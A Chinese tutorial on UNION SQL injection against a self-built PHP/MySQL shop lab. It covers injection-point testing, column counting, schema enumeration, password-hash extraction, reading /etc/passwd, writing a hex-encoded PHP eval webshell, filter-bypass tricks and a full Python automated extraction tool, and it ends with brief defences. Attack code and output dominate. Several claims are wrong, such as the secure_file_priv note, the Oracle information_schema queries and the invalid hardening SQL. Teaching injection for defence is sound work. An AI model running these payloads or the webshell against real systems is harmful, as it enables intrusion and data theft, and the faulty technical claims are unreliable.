一、UNION 注入的核心思想

UNION 注入是所有 SQL 注入技术中最经典、最常用的手法。它利用 UNION SELECT 可以将两条查询结果合并的特性,把目标应用原本查询不到的数据"借道"回显给攻击者。核心前提有两个:1. 目标查询的结果会直接显示在页面上(回显型注入);2. 目标查询的列数可以被确定。

二、实战靶场搭建

用 PHP + MySQL 搭建一个接近真实场景的靶场环境。

2.1 数据库初始化

CREATE DATABASE shop CHARACTER SET utf8mb4;
USE shop;

CREATE TABLE users (
  id INT PRIMARY KEY AUTO_INCREMENT,
  username VARCHAR(50) NOT NULL,
  password VARCHAR(255) NOT NULL,
  email VARCHAR(100),
  role VARCHAR(20) DEFAULT 'user'
);

INSERT INTO users (username, password, email, role) VALUES
('admin',    '$2y$10$92IXUNpkjO0rOQ5byMi.Ye4oKoEa3Ro9llC/.og/at2.uheWG/igi', 'admin@shop.com', 'admin'),
('alice',    '$2y$10$k2yZ6xHXKv7d7pKfB9KjvOqXkZL5qGXQHQxRwCT3vWZ4p2m3nZza', 'alice@shop.com', 'user'),
('bob',      '$2y$10$HkqUJnL6kfF2hR4mQ4yNq7oFz8jS5aBcD1eF3gH5iJ7kL9mN', 'bob@shop.com', 'user'),
('charlie',  '$2y$10$T1uV3wX5y7Z9aBcDeFgHiJkLmNoPqRsTuVwXyZ0aB2cD4eF6gH', 'charlie@shop.com', 'user'),
('diana',    '$2y$10$M9nN1oP3qR5sT7uV9wX1yZ3aB5cD7eF9gH1iJ3kL5mN7oP9q', 'diana@shop.com', 'user');

CREATE TABLE products (
  id INT PRIMARY KEY AUTO_INCREMENT,
  name VARCHAR(200) NOT NULL,
  price DECIMAL(10,2),
  description TEXT,
  category VARCHAR(50)
);

INSERT INTO products (name, price, description, category) VALUES
('MacBook Pro 16',  18999.00, 'Apple MacBook Pro 16-inch M3 Pro', 'laptop'),
('iPhone 15 Pro',   7999.00,  'Apple iPhone 15 Pro Max 256GB',    'phone'),
('iPad Air',        4799.00,  'Apple iPad Air M2',                'tablet'),
('AirPods Pro 2',   1899.00,  'Apple AirPods Pro 2nd Gen',        'audio'),
('Magic Keyboard',  999.00,   'Apple Magic Keyboard for iPad',     'accessory');

2.2 存在漏洞的 PHP 后端

<?php
$id = $_GET['id'];
$conn = new mysqli('localhost', 'root', 'root', 'shop');
$sql = "SELECT id, name, price, description FROM products WHERE id = " . $id;
$result = $conn->query($sql);
$row = $result->fetch_assoc();
header('Content-Type: application/json');
echo json_encode($row);

2.3 正常请求

curl http://192.168.1.100/api/product.php?id=1
# {"id":1,"name":"MacBook Pro 16","price":"18999.00","description":"Apple MacBook Pro 16-inch M3 Pro"}

三、Step 1:确认注入点

3.1 单引号测试

curl 'http://192.168.1.100/api/product.php?id=1'
# {"id":1,...} — 正常

curl "http://192.168.1.100/api/product.php?id=1'"
# PHP Warning: mysqli::query(): (HY000/1064): You have an error in your SQL syntax...
# 出现 MySQL 报错 — 确认注入点!

3.2 逻辑测试(真/假页面对比)

curl -s "http://192.168.1.100/api/product.php?id=1 AND 1=1" | python3 -m json.tool
# {"id":1,...} — 正常返回

curl -s "http://192.168.1.100/api/product.php?id=1 AND 1=2" | python3 -m json.tool
# null — 返回空

curl -s "http://192.168.1.100/api/product.php?id=1 OR 1=1" | python3 -m json.tool
# {"id":5,...} — 返回最后一行(因为用了 fetch_assoc 只取一条)

四、Step 2:探测列数(ORDER BY 法)

4.1 原理

ORDER BY N 按第 N 列排序。如果 N 超过实际列数,MySQL 会报错。我们用二分查找提高效率。

# 二分查找列数
for i in 1 2 3 4 5; do
  echo -n "ORDER BY $i: "
  curl -s "http://192.168.1.100/api/product.php?id=1 ORDER BY $i" | head -c 80
  echo
done
# ORDER BY 1: {"id":1,...}
# ORDER BY 2: {"id":1,...}
# ORDER BY 3: {"id":1,...}
# ORDER BY 4: {"id":1,...}
# ORDER BY 5: PHP Warning...  — 报错,列数 = 4

4.2 GROUP BY 替代法

有些环境 ORDER BY 被过滤,可以用 GROUP BY 代替:

curl -s "http://192.168.1.100/api/product.php?id=1 GROUP BY 4"
# {"id":1,...} — 正常

curl -s "http://192.168.1.100/api/product.php?id=1 GROUP BY 5"
# 报错 — 确认列数 4

4.3 UNION 直接探测

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1"
# 报错: The used SELECT statements have a different number of columns

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,2,3,4"
# null — 不报错,列数匹配!

五、Step 3:定位回显位

5.1 什么是回显位

UNION 合并后的结果,页面会显示原始查询的列。我们需要知道哪几列的值会在页面上可见

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,2,3,4" | python3 -m json.tool
# {
#   "id": "1",
#   "name": "2",
#   "price": "3",
#   "description": "4"
# }

好消息!这个 API 的所有 4 列都被 JSON 编码后返回了。

5.2 更典型的页面回显场景

假设是一个 HTML 页面,只把 name 列渲染在 <h1> 标签里。那我们只能往第 2 列放 payload:

-- ❌ 错误:把数据库名放在第 1 列,看不到
SELECT 1,2,3,4 UNION SELECT database(), 2, 3, 4

-- ✅ 正确:把数据库名放在第 2 列(回显位)
SELECT 1,2,3,4 UNION SELECT 1, database(), 3, 4

六、Step 4:枚举信息

6.1 获取当前数据库

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,database(),3,4"
# {"id":"1","name":"shop","price":"3","description":"4"}

当前数据库名是 shop

6.2 获取版本信息

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT version(),@@version_compile_os,3,4"
# {"id":"8.0.36-0ubuntu0.22.04.1","name":"Linux","price":"3","description":"4"}

6.3 枚举所有数据库名

用 GROUP_CONCAT 一次性获取:

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,GROUP_CONCAT(table_schema,CHAR(44)),3,4 FROM information_schema.schemata"
# {"id":"1","name":"information_schema,mysql,performance_schema,shop,sys,","price":"3","description":"4"}

CHAR(44) 就是逗号。GROUP_CONCAT 默认最大长度 1024,太大会被截断。

6.4 枚举 shop 数据库的所有表

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=CHAR(115,104,111,112)"
# {"id":"1","name":"products,users","price":"3","description":"4"}

用了 CHAR(115,104,111,112) 代替字面量 'shop'(s=115, h=104, o=111, p=112),避免硬编码字符串。

也可以用十六进制:

-- shop = 0x73686f70
UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=0x73686f70

6.5 枚举 users 表的所有列

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,GROUP_CONCAT(column_name),3,4 FROM information_schema.columns WHERE table_schema=0x73686f70 AND table_name=0x7573657273"
# {"id":"1","name":"id,username,password,email,role","price":"3","description":"4"}

七、Step 5:提取数据

7.1 直接提取一行

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT id,CONCAT(username,0x3a,password),3,4 FROM users LIMIT 0,1"
# {"id":"1","name":"admin:$2y$10$...","price":"3","description":"4"}

这里 0x3a 是冒号的十六进制。

7.2 批量提取所有用户(Python 自动化)

import requests
import json

BASE = "http://192.168.1.100/api/product.php"

def extract_one(sql_expr, chunk_size=1000):
    """用 SUBSTRING 分段提取"""
    offset = 1
    results = []
    
    while True:
        payload = f"0 UNION SELECT 1,SUBSTRING(GROUP_CONCAT({sql_expr}),{offset},{chunk_size}),3,4"
        r = requests.get(BASE, params={'id': payload})
        try:
            data = r.json()
            val = data.get('name', '') or ''
            if not val:
                break
            results.append(val)
            offset += chunk_size
            if len(val) < chunk_size:
                break
        except json.JSONDecodeError:
            break
    
    return ''.join(results)

# 提取所有用户
users_data = extract_one(
    "CONCAT(username, CHAR(58), password, CHAR(10))"
)
print(users_data)

7.3 多行组合显示(一次请求)

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,GROUP_CONCAT(username,CHAR(58),email SEPARATOR CHAR(10)),3,4 FROM users"
# {"id":"1","name":"admin:admin@shop.com
# alice:alice@shop.com
# bob:bob@shop.com
# charlie:charlie@shop.com
# diana:diana@shop.com","price":"3","description":"4"}

八、Step 6:提取更敏感的数据

8.1 读取 MySQL 用户表

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT user,GROUP_CONCAT(authentication_string),3,4 FROM mysql.user WHERE user=CHAR(114,111,111,116)"
# 返回 root 用户的密码哈希

MySQL 8.0 的 authentication_string 是 caching_sha2_password 格式。MySQL 5.7 或之前版本可能是 mysql_native_password 格式(以 * 开头的 40 位十六进制)。

8.2 读取系统文件(需要 FILE 权限)

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT LOAD_FILE(0x2f6574632f706173737764),2,3,4"
# 读取 /etc/passwd

curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT LOAD_FILE(0x2f7661722f7777772f68746d6c2f636f6e6669672e706870),2,3,4"
# 读取 webroot 下的 config.php

LOAD_FILE 的限制:

  • MySQL 8.0 需要 secure_file_priv 为空或指向目标目录
  • 目标文件必须对 MySQL 用户可读
  • 文件大小不能超过 max_allowed_packet(默认 4MB)

8.3 写入文件(INTO OUTFILE / INTO DUMPFILE)

需要 FILE 权限 + secure_file_priv 可写:

# 写入 PHP Webshell
curl -s "http://192.168.1.100/api/product.php?id=0 UNION SELECT 1,0x3c3f706870206576616c28245f4745545b2763275d293b203f3e,3,4 INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '\t'"

INTO OUTFILE 注意事项:

  • 查询不能同时用 LIMIT 和 INTO OUTFILE
  • 目标文件必须不存在(不会覆盖)
  • MySQL 用户对目标目录有写权限
  • secure_file_priv 不能阻止写入

成功写入后:

curl 'http://192.168.1.100/shell.php?c=phpinfo();'

九、高级 UNION 技巧

9.1 绕过过滤(过滤了 UNION/SELECT)

大小写混用uNiOn SeLeCt 1,2,3,4

注释内分隔UNION/**/SELECT 1,2,3,4

内联注释绕过(MySQL 特有的 /!.../)

UNION /*!SELECT*/ 1,2,3,4
UNION /*!50000SELECT*/ 1,2,3,4  -- 版本注释:MySQL 5.0+ 才展开

换行绕过(WAF 只检查单行):

UNION
SELECT 1,2,3,4

9.2 绕过黑名单(过滤了 information_schema)

用 sys schema(MySQL 5.7+)

UNION SELECT 1,table_name,3,4 FROM sys.schema_table_statistics
UNION SELECT 1,column_name,3,4 FROM sys.schema_table_statistics_with_buffer

用 SHOW 命令(需要可以执行多语句):

; SHOW TABLES;
; SHOW COLUMNS FROM users;

无 information_schema 提取(MySQL 4.x 时代的技巧):

UNION SELECT 1,name,3,4 FROM mysql.user  -- 直接查系统表

9.3 利用 NULL 和 CONCAT

-- 用 NULL 代替数字可以绕过类型检查
UNION SELECT NULL,@@version,NULL,NULL

-- CONCAT 拼接多列信息到一列
UNION SELECT 1,CONCAT('user:',user(), CHAR(10), 'db:',database()),3,4

9.4 注释掉剩余查询

-- MySQL
id=1 UNION SELECT 1,2,3,4-- 
id=1 UNION SELECT 1,2,3,4#
id=1 /*!UNION*/ /*!SELECT*/ 1,2,3,4 /*!-- */

-- SQL Server
id=1 UNION SELECT 1,2,3,4--

-- Oracle(没有 -- 注释,需要用 /* */ 或构造完整 WHERE)
id=1 UNION SELECT 1,2,3,4 FROM dual-- 
id=1' UNION SELECT 1,2,3,4 FROM dual--

十、完整自动化脚本

#!/usr/bin/env python3
"""
UNION 注入自动化工具 - 仅用于授权渗透测试
"""
import requests
import re
import sys
import json

class UnionExtractor:
    def __init__(self, url, param):
        self.url = url
        self.param = param
        self.session = requests.Session()
        self.visible_cols = []
        self.total_cols = 0
    
    def inject(self, payload):
        r = self.session.get(self.url, params={self.param: payload}, timeout=10)
        return r
    
    def find_column_count(self):
        """ORDER BY 二分查找列数"""
        low, high = 1, 50
        while low < high:
            mid = (low + high) // 2
            r = self.inject(f"1 ORDER BY {mid}")
            if r and r.status_code == 200 and 'Unknown column' not in r.text:
                low = mid + 1
            else:
                high = mid
        self.total_cols = low - 1
        print(f"[+] 列数确定为: {self.total_cols}")
        return self.total_cols
    
    def find_visible_columns(self):
        """定位回显列"""
        for i in range(self.total_cols):
            test_parts = ['NULL'] * self.total_cols
            test_parts[i] = f"'VISCOL{i}'"
            payload = f"0 UNION SELECT {','.join(test_parts)}"
            r = self.inject(payload)
            if r and f"VISCOL{i}" in r.text:
                self.visible_cols.append(i)
                print(f"[+] 发现回显列: 位置 {i}")
        return self.visible_cols
    
    def extract_dbs(self):
        col = self.visible_cols[0]
        parts = ['NULL'] * self.total_cols
        parts[col] = "GROUP_CONCAT(table_schema, 0x2C)"
        payload = f"0 UNION SELECT {','.join(parts)} FROM information_schema.schemata"
        r = self.inject(payload)
        if r:
            m = re.search(r'"([^"]*,[^"]*)"', r.text)
            if m:
                dbs = m.group(1).split(',')
                print(f"[+] 发现 {len(dbs)} 个数据库: {dbs}")
                return dbs
        return []
    
    def extract_tables(self, db):
        col = self.visible_cols[0]
        parts = ['NULL'] * self.total_cols
        parts[col] = "GROUP_CONCAT(table_name, 0x2C)"
        db_hex = ''.join(f'{ord(c):02x}' for c in db)
        payload = f"0 UNION SELECT {','.join(parts)} FROM information_schema.tables WHERE table_schema=0x{db_hex}"
        r = self.inject(payload)
        if r:
            m = re.search(r'"([^"]+)"', r.text)
            if m:
                tables = m.group(1).split(',')
                print(f"[+] 数据库 {db} 有表: {tables}")
                return tables
        return []
    
    def extract_columns(self, db, table):
        col = self.visible_cols[0]
        parts = ['NULL'] * self.total_cols
        parts[col] = "GROUP_CONCAT(column_name, 0x2C)"
        db_hex = ''.join(f'{ord(c):02x}' for c in db)
        tbl_hex = ''.join(f'{ord(c):02x}' for c in table)
        payload = f"0 UNION SELECT {','.join(parts)} FROM information_schema.columns WHERE table_schema=0x{db_hex} AND table_name=0x{tbl_hex}"
        r = self.inject(payload)
        if r:
            m = re.search(r'"([^"]+)"', r.text)
            if m:
                cols = m.group(1).split(',')
                print(f"[+] 表 {table} 有列: {cols}")
                return cols
        return []
    
    def run_full_extraction(self):
        """完整渗透流程"""
        print("[*] === 开始 UNION 注入渗透 ===")
        self.find_column_count()
        self.find_visible_columns()
        dbs = self.extract_dbs()
        for db in dbs:
            tables = self.extract_tables(db)
            for t in tables:
                self.extract_columns(db, t)
        print("[*] === 渗透完成 ===")

if __name__ == '__main__':
    target = sys.argv[1] if len(sys.argv) > 1 else "http://192.168.1.100/api/product.php"
    param = sys.argv[2] if len(sys.argv) > 2 else "id"
    ex = UnionExtractor(target, param)
    ex.run_full_extraction()

十一、不同数据库的 UNION 差异

11.1 Oracle

Oracle 没有 OFFSET/FETCH,用 ROWNUM 分页:

-- Oracle 的 DUAL 表是必须的
UNION SELECT 1,table_name,3,4 FROM (SELECT ROWNUM r, table_name FROM information_schema.tables WHERE ROWNUM<=5) WHERE r>=1

-- 一次性获取所有表(Oracle 的 LISTAGG)
UNION SELECT 1,LISTAGG(table_name, ',') WITHIN GROUP (ORDER BY table_name),3,4 FROM information_schema.tables

11.2 PostgreSQL

-- PG 的 STRING_AGG
UNION SELECT 1,STRING_AGG(table_name, ','),3,4 FROM information_schema.tables WHERE table_schema='public'

-- PG 可以写多行字符串
UNION SELECT 1,E'data\nmoredata',3,4

11.3 SQL Server (MSSQL)

-- MSSQL 的 TOP 和 FOR XML PATH
UNION SELECT TOP 100 name FROM sys.tables

-- MSSQL 的分号堆叠
; SELECT * FROM users;

十二、防御建议

12.1 根本防御

$stmt = $conn->prepare("SELECT id, name, price, description FROM products WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

12.2 WAF 规则(ModSecurity 示例)

SecRule ARGS "(?i)(union.*select|select.*from)" \
    "id:942100,phase:1,deny,status:403,log,msg:'SQL Injection UNION Attack'"

SecRule ARGS "(?i)(information_schema|sys\.tables|mysql\.user)" \
    "id:942101,phase:1,deny,status:403,log,msg:'SQL Schema Enumeration'"

12.3 最小权限原则

-- Web 应用数据库用户
CREATE ROLE app_user;
GRANT SELECT ON shop.* TO app_user;
GRANT SELECT ON shop.users TO app_user(user_name_col, email_col);  -- 列级权限
REVOKE ALL PRIVILEGES ON *.* FROM app_user;
GRANT USAGE ON *.* TO app_user;  -- 只能连接,不能看其他库

-- 关闭危险功能
SET GLOBAL secure_file_priv = NULL;  -- 禁止 LOAD_FILE/INTO OUTFILE
SET GLOBAL log_bin = OFF;            -- 关闭二进制日志

12.4 输入验证

// 强制类型转换
$id = (int)$_GET['id'];
if ($id <= 0) die('Invalid ID');

// 白名单验证
$allowed_cols = ['id', 'name', 'price', 'description'];
$sort_col = $_GET['sort'];
if (!in_array($sort_col, $allowed_cols)) die('Invalid sort column');

UNION 注入是最基础也是最强大的 SQL 注入技术。掌握它,你就掌握了绝大多数注入场景的核心方法论。而防御它的方法也非常简单:永远用预编译,永远不要拼接字符串